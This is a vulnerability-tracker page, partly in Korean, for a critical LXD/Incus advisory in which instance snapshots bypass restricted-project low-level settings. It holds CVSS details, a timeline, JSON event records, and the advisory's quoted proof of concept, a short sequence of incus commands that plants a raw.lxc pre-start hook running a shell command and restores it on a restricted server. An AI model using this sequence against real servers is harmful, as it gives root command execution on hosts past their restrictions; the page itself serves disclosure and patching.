nday
GHSA-47w9-6r3f-938g

LXD has restricted project bypass leading to arbitrary command execution

CVE 공개: . 해결 버전: github.com/canonical/lxd 0.0.0-20260630083100-c5184be310b1. PoC 출처 4곳 모두 미등재. CISA KEV 미등재.

tags weakness typebroken access control accessnetworkno user interaction ecosystemGo
why these tags

nday derives these tags by fixed rules from the facts below; NVD, the CNA and other sources do not assign them. Vocabulary and rules: ~/tags.

broken access control
CWE-862, stated by GitHub advisory GHSA-47w9-6r3f-938g
network
AV:N in CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (CVSS 3.1) from GitHub advisory GHSA-47w9-6r3f-938g
no user interaction
UI:N in CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (CVSS 3.1) from GitHub advisory GHSA-47w9-6r3f-938g
Go
GHSA-47w9-6r3f-938g: go packages github.com/canonical/lxd
현재 단계
PAT
공개
CVSS
9.9 CRITICAL v3.1

생명주기

가로축 UTC. 점 = 분 단위, 넓은 막대 = 날짜만, 빈 표시 = 불명 또는 추정.
시점 알 수 없음
DIS공개
11-06T19:51Z
PAT패치
github.com/canonical/lxd 0.0.0-20260630083100-c5184be310b1
ANA분석
아직 기록 없음
POCPoC
아직 기록 없음
ITW악용
아직 기록 없음
KEVKEV
아직 기록 없음

요약

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

### Summary

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

### Details

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.

### PoC

# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc

### Impact

- Bypass of project restrictions. - Arbitrary command execution on the Incus server.

Original text of GitHub advisory GHSA-47w9-6r3f-938g, shown as published.

Exploit conditions

What an attack needs, read from the CVSS vector.
Attack vector AV:N
Network: the attacker only needs to reach it over the network
Attack complexity AC:L
Low: no special conditions; the attacker can expect repeatable success
Privileges required PR:L
Low: ordinary user privileges
User interaction UI:N
None: no action by anyone other than the attacker

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVSS 3.1 vector from GitHub advisory GHSA-47w9-6r3f-938g.

이벤트 로그

+DISCVE 공개

ghsa에서 취약점 공개 보고.

출처 ghsa · nday 일괄 수집 · 원본
{
  "id": 473909,
  "type": "disclosed",
  "source": "ghsa",
  "url": "https://github.com/advisories/GHSA-47w9-6r3f-938g",
  "occurred_at": "2026-11-06T19:51:26Z",
  "observed_at": "2026-11-16T19:07:30.503253Z",
  "is_backfill": true,
  "dedupe_key": "GHSA-47w9-6r3f-938g",
  "detail": {
    "state": "PUBLISHED",
    "ghsa_id": "GHSA-47w9-6r3f-938g",
    "withdrawn_at": null
  }
}
시점 알 수 없음출처에 시각 정보 없음
+PAT패치

보안 권고상 해결 버전: github.com/canonical/lxd 0.0.0-20260630083100-c5184be310b1. 수정 커밋 링크 포함. 보안 권고 게시: . 패치 자체의 배포 시점은 기록되지 않음.

출처 ghsa · nday 일괄 수집 · 원본
{
  "id": 473910,
  "type": "patch_released",
  "source": "ghsa",
  "url": "https://github.com/advisories/GHSA-47w9-6r3f-938g",
  "occurred_at": null,
  "observed_at": "2026-11-16T19:07:30.503253Z",
  "is_backfill": true,
  "dedupe_key": "GHSA-47w9-6r3f-938g",
  "detail": {
    "cvss": {
      "cvss_v3": {
        "score": 9.9,
        "vector_string": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
      },
      "cvss_v4": {
        "score": 0.0,
        "vector_string": null
      }
    },
    "cwes": [
      {
        "name": "Missing Authorization",
        "cwe_id": "CWE-862"
      }
    ],
    "ghsa_id": "GHSA-47w9-6r3f-938g",
    "packages": [
      {
        "name": "github.com/canonical/lxd",
        "ecosystem": "go",
        "first_patched_version": "0.0.0-20260630083100-c5184be310b1",
        "vulnerable_version_range": "< 0.0.0-20260630083100-c5184be310b1"
      }
    ],
    "severity": "critical",
    "references": [
      "https://github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g",
      "https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv",
      "https://nvd.nist.gov/vuln/detail/CVE-2026-48751",
      "https://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49",
      "https://github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b",
      "https://github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe",
      "https://github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19",
      "https://github.com/canonical/lxd/releases/tag/lxd-5.0.7",
      "https://github.com/canonical/lxd/releases/tag/lxd-5.21.5",
      "https://github.com/advisories/GHSA-47w9-6r3f-938g"
    ],
    "fix_commit_urls": [
      "https://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49",
      "https://github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b",
      "https://github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe",
      "https://github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19"
    ],
    "github_reviewed_at": "2026-11-06T19:51:26Z",
    "advisory_updated_at": "2026-11-06T19:51:26Z",
    "source_code_location": "https://github.com/canonical/lxd",
    "advisory_published_at": "2026-11-06T19:51:26Z"
  }
}

Report an error

report an error or omission

Something on this page wrong or missing? Tell the editors; if they accept it, this page's revision log says so publicly. Upstream data is not changed.

Discussion

0 comments

No comments yet.